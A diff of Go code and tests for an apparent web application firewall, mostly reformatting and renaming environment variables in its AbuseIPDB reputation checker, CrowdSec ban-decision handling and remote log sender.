"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
sender.Sent(),
sender.Dropped(),
sender.Depth(),
sent,
dropped,
depth,
)
} }
} }
@@ -601,11 +539,7 @@ func wantCounts(
// connection the endpoint has closed are lost before one fails; how many // connection the endpoint has closed are lost before one fails; how many
// depends on when the endpoint's host answers that the connection is // depends on when the endpoint's host answers that the connection is
// gone. // gone.
func writeUntilDropped( func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
t *testing.T,
sender *remotelog.Sender,
dropped int64,
) {
t.Helper() t.Helper()
for sender.Dropped() < dropped { for sender.Dropped() < dropped {
@@ -652,8 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
var fields map[string]any var fields map[string]any
err := json.Unmarshal([]byte(line), &fields) err := json.Unmarshal([]byte(line), &fields)
if err != nil || if err != nil || fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
t.Fatalf("logged %q", line) t.Fatalf("logged %q", line)
} }
@@ -662,11 +595,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
} }
if !slices.Equal(got, delays) { if !slices.Equal(got, delays) {
t.Errorf( t.Errorf("logged failures to connect again in %v, want %v", got, delays)
"logged failures to connect again in %v, want %v",
got,
delays,
)
} }
} }
@@ -689,10 +618,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
IsCA: true, IsCA: true,
BasicConstraintsValid: true, BasicConstraintsValid: true,
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{ ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
x509.ExtKeyUsageServerAuth, IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
},
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
} }
der, err := x509.CreateCertificate(rand.Reader, template, template, der, err := x509.CreateCertificate(rand.Reader, template, template,
@@ -709,8 +636,5 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
roots := x509.NewCertPool() roots := x509.NewCertPool()
roots.AddCert(certificate) roots.AddCert(certificate)
return tls.Certificate{ return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
Certificate: [][]byte{der},
PrivateKey: key,
}, roots
} }
+10 -27
View File
@@ -56,17 +56,17 @@ type ChecksSpent struct {
// AbuseIPDBParams are what NewAbuseIPDB needs. // AbuseIPDBParams are what NewAbuseIPDB needs.
type AbuseIPDBParams struct { type AbuseIPDBParams struct {
// URL is where clients are checked, normally AbuseIPDBURL, with Key, // URL is where clients are checked, normally AbuseIPDBURL, with Key,
// the account's key (SWW_ABUSEIPDB_KEY). // the account's key (SWW_WAF_ABUSEIPDB_KEY).
URL string URL string
Key string Key string
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE), // MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
// and DailyBudget the most checks made in a day, in UTC // and DailyBudget the most checks made in a day, in UTC
// (SWW_ABUSEIPDB_DAILY_BUDGET). // (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
MinScore int64 MinScore int64
DailyBudget int DailyBudget int
// CacheTTL is how long a score is used after it was fetched // CacheTTL is how long a score is used after it was fetched
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take // (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWW_REPUTATION_TIMEOUT). // (SWW_WAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration CacheTTL time.Duration
Timeout time.Duration Timeout time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
@@ -260,11 +260,7 @@ func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
// the score as client's, and notes the check as no longer under way. A // the score as client's, and notes the check as no longer under way. A
// check that fails gives no score: it is counted, logged and raised as a // check that fails gives no score: it is counted, logged and raised as a
// source_failure alert, and no client is checked for failureDelay. // source_failure alert, and no client is checked for failureDelay.
func (a *AbuseIPDB) check( func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
score, err := a.ask(ctx, addr) score, err := a.ask(ctx, addr)
now := a.params.Now() now := a.params.Now()
@@ -273,10 +269,7 @@ func (a *AbuseIPDB) check(
delete(a.checking, client) delete(a.checking, client)
if err == nil { if err == nil {
a.scores.Add( a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
client,
Score{Client: client, Score: score, Fetched: now},
)
} else { } else {
a.failures++ a.failures++
a.retryAt = now.Add(failureDelay) a.retryAt = now.Add(failureDelay)
@@ -292,10 +285,7 @@ func (a *AbuseIPDB) check(
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key // ask asks AbuseIPDB for addr's abuse confidence score, sending the key
// in the header Key. An answer other than 200, one that gives no score, // in the header Key. An answer other than 200, one that gives no score,
// and none within Timeout, fail. // and none within Timeout, fail.
func (a *AbuseIPDB) ask( func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
ctx context.Context,
addr netip.Addr,
) (int64, error) {
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout) ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
defer cancel() defer cancel()
@@ -331,8 +321,7 @@ func (a *AbuseIPDB) ask(
} `json:"data"` } `json:"data"`
} }
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)). err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
Decode(&answer)
if err != nil { if err != nil {
return 0, fmt.Errorf("read the answer: %w", err) return 0, fmt.Errorf("read the answer: %w", err)
} }
@@ -350,11 +339,5 @@ func (a *AbuseIPDB) alert(reason string, err error) {
// Raised before it is logged, so that the alert is there once the log // Raised before it is logged, so that the alert is there once the log
// line is. // line is.
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err) raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
a.params.ProcessLog.Warn( a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
reason,
"source",
AbuseIPDBSource,
"error",
err.Error(),
)
} }
+37 -127
View File
@@ -41,9 +41,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A client that has committed no offence is not checked. // A client that has committed no offence is not checked.
@@ -62,9 +60,7 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
}) })
} }
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses( func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -72,15 +68,10 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
// it of its own. // it of its own.
var addresses []string var addresses []string
for i := 1; i < 16; i++ { for i := 1; i < 16; i++ {
addresses = append( addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
addresses,
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
)
} }
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
scores: map[string]int64{addresses[0]: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
// A request from each has the client checked once, by the first. // A request from each has the client checked once, by the first.
@@ -105,11 +96,7 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
scores := map[string]int64{ scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
"192.0.2.74": 74,
"192.0.2.75": 75,
"192.0.2.100": 100,
}
p := abuseIPDBParams() p := abuseIPDBParams()
p.MinScore = 75 p.MinScore = 75
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p) checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
@@ -130,9 +117,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
hitFrom(t, checker, suspect, true) hitFrom(t, checker, suspect, true)
@@ -156,9 +141,7 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
}) })
} }
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds( func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -169,9 +152,7 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
p.DailyBudget = 3 p.DailyBudget = 3
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// At noon, the first three offenders spend the budget, and the // At noon, the first three offenders spend the budget, and the
@@ -192,14 +173,8 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(
// The check that used the budget up raised the alert, and logged it. // The check that used the budget up raised the alert, and logged it.
const usedUp = "the daily budget of AbuseIPDB checks is used up" const usedUp = "the daily budget of AbuseIPDB checks is used up"
wantFailureAlert( wantFailureAlert(t, queue, time.Now(), usedUp,
t, "3 checks spent; none is made until the day ends at 00:00 UTC", 0)
queue,
time.Now(),
usedUp,
"3 checks spent; none is made until the day ends at 00:00 UTC",
0,
)
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) { if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
t.Errorf("logged\n%s\nwant the budget used up", log.String()) t.Errorf("logged\n%s\nwant the budget used up", log.String())
@@ -239,9 +214,7 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
p := abuseIPDBParams() p := abuseIPDBParams()
p.DailyBudget = 1 p.DailyBudget = 1
p.Now = func() time.Time { return time.Now().In(ahead) } p.Now = func() time.Time { return time.Now().In(ahead) }
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// At 09:00 UTC the one check is spent. // At 09:00 UTC the one check is spent.
@@ -265,9 +238,7 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
}) })
} }
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute( func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -311,10 +282,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
p.Key = tc.key p.Key = tc.key
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
status: tc.status,
body: tc.body,
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
// The failure gives no score, and no client is checked within a // The failure gives no score, and no client is checked within a
@@ -342,11 +310,8 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
wantFailureAlert(t, queue, time.Now().Add(-time.Minute), wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
"checking a client with AbuseIPDB failed", tc.error, 1) "checking a client with AbuseIPDB failed", tc.error, 1)
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"checking a client with `+
log.String(), `AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
`"msg":"checking a client with `+
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -354,9 +319,7 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(
} }
} }
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits( func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -383,14 +346,8 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantFailures(t, checker, 1) wantFailures(t, checker, 1)
wantFailureAlert( wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
t, "check the client: context deadline exceeded", 0)
queue,
time.Now(),
"checking a client with AbuseIPDB failed",
"check the client: context deadline exceeded",
0,
)
}) })
} }
@@ -404,15 +361,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
p := abuseIPDBParams() p := abuseIPDBParams()
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
abuseIPDB := &abuseIPDBStandIn{ abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
scores: map[string]int64{suspect: 100},
}
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app") m := metrics.New(1, "app")
m.AddReputation( m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker) m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one it refuses with an answer // One check that AbuseIPDB answers, and one it refuses with an answer
@@ -421,10 +373,7 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
synctest.Wait() synctest.Wait()
wantScore(t, checker, suspect, true, 100, true) wantScore(t, checker, suspect, true, 100, true)
abuseIPDB.answerWith( abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
http.StatusUnauthorized,
`{"errors":[{"detail":"`+key+`"}]}`,
)
wantScore(t, checker, other, true, 0, false) wantScore(t, checker, other, true, 0, false)
synctest.Wait() synctest.Wait()
wantFailures(t, checker, 1) wantFailures(t, checker, 1)
@@ -467,10 +416,7 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
p.DailyBudget = 5 p.DailyBudget = 5
checker := newAbuseIPDB(abuseIPDB, p) checker := newAbuseIPDB(abuseIPDB, p)
m := metrics.New(1, "app") m := metrics.New(1, "app")
m.AddReputation( m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
reputation.New(params()),
reputation.NewDNSBL(dnsblParams()),
)
m.AddAbuseIPDB(checker) m.AddAbuseIPDB(checker)
// One check that AbuseIPDB answers, and one that fails. // One check that AbuseIPDB answers, and one that fails.
@@ -526,9 +472,7 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
} }
} }
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst( func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -557,10 +501,7 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(
got := checker.Snapshot() got := checker.Snapshot()
if len(got) != count-1 || !slices.Contains(got, scores[0]) || if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
slices.Contains(got, scores[count-1]) { slices.Contains(got, scores[count-1]) {
t.Errorf( t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
"%d scores kept, want all but the one fetched longest ago",
len(got),
)
} }
} }
@@ -581,9 +522,7 @@ type abuseIPDBStandIn struct {
// RoundTrip has the stand-in answer req, in place of the network. A check // RoundTrip has the stand-in answer req, in place of the network. A check
// abandoned before the stand-in answers fails, as over the network. // abandoned before the stand-in answers fails, as over the network.
func (s *abuseIPDBStandIn) RoundTrip( func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
req *http.Request,
) (*http.Response, error) {
client := req.URL.Query().Get("ipAddress") client := req.URL.Query().Get("ipAddress")
sent := req.Header.Get("Key") sent := req.Header.Get("Key")
@@ -603,11 +542,8 @@ func (s *abuseIPDBStandIn) RoundTrip(
status = http.StatusUnauthorized status = http.StatusUnauthorized
case status == 0: case status == 0:
status = http.StatusOK status = http.StatusOK
body = fmt.Sprintf( body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, score)
client,
score,
)
} }
return &http.Response{ return &http.Response{
@@ -667,25 +603,15 @@ func newAbuseIPDB(
// wantScore checks the score checker gives client, and whether it is a // wantScore checks the score checker gives client, and whether it is a
// hit, as a request from client finds them, offender or not. // hit, as a request from client finds them, offender or not.
func wantScore( func wantScore(
t *testing.T, t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
checker *reputation.AbuseIPDB, score int64, hit bool,
client string,
offender bool,
score int64,
hit bool,
) { ) {
t.Helper() t.Helper()
gotScore, gotHit := hitFrom(t, checker, client, offender) gotScore, gotHit := hitFrom(t, checker, client, offender)
if gotScore != score || gotHit != hit { if gotScore != score || gotHit != hit {
t.Errorf( t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
"%s has the score %d, a hit %t, want %d, %t", score, hit)
client,
gotScore,
gotHit,
score,
hit,
)
} }
} }
@@ -693,10 +619,7 @@ func wantScore(
// Its client is address for an IPv4 address, and its /64 for an IPv6 one, // Its client is address for an IPv4 address, and its /64 for an IPv6 one,
// as sww counts clients. // as sww counts clients.
func hitFrom( func hitFrom(
t *testing.T, t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
checker *reputation.AbuseIPDB,
address string,
offender bool,
) (int64, bool) { ) (int64, bool) {
t.Helper() t.Helper()
@@ -740,10 +663,7 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
// the error failure, and that the cooldown has held back held repeats of // the error failure, and that the cooldown has held back held repeats of
// it. // it.
func wantFailureAlert( func wantFailureAlert(
t *testing.T, t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
queue *alerts.Queue,
raised time.Time,
reason, failure string,
held int64, held int64,
) { ) {
t.Helper() t.Helper()
@@ -753,15 +673,8 @@ func wantFailureAlert(
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason || got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
got[0].Detail["source"] != reputation.AbuseIPDBSource || got[0].Detail["source"] != reputation.AbuseIPDBSource ||
got[0].Detail["error"] != failure || queue.Suppressed() != held { got[0].Detail["error"] != failure || queue.Suppressed() != held {
t.Errorf( t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
"alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+ "and %d", got, queue.Suppressed(), reason, failure, held)
"and %d",
got,
queue.Suppressed(),
reason,
failure,
held,
)
} }
} }
@@ -779,11 +692,8 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
t.Helper() t.Helper()
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP( m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
scraped, http.NoBody))
httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
http.NoBody),
)
return scraped.Body.String() return scraped.Body.String()
} }
+37 -146
View File
@@ -37,9 +37,7 @@ const (
rangeScope = "Range" rangeScope = "Range"
) )
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown( func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -50,13 +48,7 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
// A shorter decision on the same address, which is not the one // A shorter decision on the same address, which is not the one
// used. // used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{ {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)}, {"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country. // Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)}, {"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
@@ -82,28 +74,14 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
e.set(func(e *engine) { e.failing = true }) e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond) time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait() synctest.Wait()
wantDecision( wantDecision(t, lists, "198.51.100.7",
t, reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
lists,
"198.51.100.7",
reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
},
)
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{}) wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision( wantDecision(t, lists, suspect,
t, reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
lists,
suspect,
reputation.Decision{
Expires: began.Add(6 * time.Hour),
Scenario: manual,
},
)
}) })
} }
@@ -118,10 +96,7 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1) wantEngineFetches(t, e, 1)
added := reputation.Decision{ added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
Expires: began.Add(2 * time.Hour),
Scenario: probing,
}
e.set(func(e *engine) { e.set(func(e *engine) {
e.decisions = append(e.decisions, e.decisions = append(e.decisions,
@@ -150,58 +125,23 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
// 198.51.100.130 is held by a decision on its address that ends // 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends // after the one on its netblock, and 192.0.2.20 by one that ends
// before. // before.
{ {rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
rangeScope,
"198.51.100.128/25",
ban,
sshBF,
began.Add(time.Hour),
},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)}, {"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{ {rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
rangeScope,
"192.0.2.0/24",
ban,
probing,
began.Add(5 * time.Hour),
},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)}, {"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}} }}
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
wantDecision( wantDecision(t, lists, suspect,
t, reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
lists, wantDecision(t, lists, "198.51.100.130",
suspect, reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
reputation.Decision{ wantDecision(t, lists, "192.0.2.20",
Expires: began.Add(4 * time.Hour), reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
Scenario: probing,
},
)
wantDecision(
t,
lists,
"198.51.100.130",
reputation.Decision{
Expires: began.Add(3 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"192.0.2.20",
reputation.Decision{
Expires: began.Add(5 * time.Hour),
Scenario: probing,
},
)
}) })
} }
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient( func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -263,43 +203,27 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
} }
wantEngineFetches(t, e, 3) wantEngineFetches(t, e, 3)
wantDecision( wantDecision(t, lists, suspect,
t, reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: sshBF,
},
)
want := kept[0] want := kept[0]
want.Tried = time.Now() want.Tried = time.Now()
got := lists.Snapshot() if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
if !reflect.DeepEqual(got, []reputation.List{want}) { t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
} }
if n := lists.Failures(decisionsURL); n != 2 { if lists.Failures(decisionsURL) != 2 {
t.Errorf("%d failures, want 2", n) t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
} }
// One alert for the first failure; the cooldown holds back the // One alert for the first failure; the cooldown holds back the
// second. // second.
failed := time.Now().Add(-time.Minute) wantAlert(t, queue,
alert := fetchFailure(failed, decisionsURL, tc.error) fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
wantAlert(t, queue, alert)
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
log.String(), `"url":"`+decisionsURL+`","error":"`+tc.error) {
`"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
@@ -369,11 +293,7 @@ func crowdSecFailures() []crowdSecFailure {
// log, the alerts waiting in queue, and the copies of lists, which // log, the alerts waiting in queue, and the copies of lists, which
// lists.json keeps. // lists.json keeps.
func wantKeyNotShown( func wantKeyNotShown(
t *testing.T, t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
e *engine,
log string,
lists *reputation.Lists,
queue *alerts.Queue,
) { ) {
t.Helper() t.Helper()
@@ -395,21 +315,13 @@ func wantKeyNotShown(
} }
} }
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo( func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
began := time.Now() began := time.Now()
e := &engine{key: engineKey, decisions: []decision{ e := &engine{key: engineKey, decisions: []decision{
{ {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
}} }}
lists := start(t, e, crowdSecParams()) lists := start(t, e, crowdSecParams())
kept := lists.Snapshot() kept := lists.Snapshot()
@@ -430,10 +342,7 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
run(t, again) run(t, again)
want := reputation.Decision{ want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
Expires: began.Add(time.Hour),
Scenario: probing,
}
wantDecision(t, again, "198.51.100.7", want) wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond) time.Sleep(30*time.Minute - time.Nanosecond)
@@ -506,8 +415,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.fetches++ e.fetches++
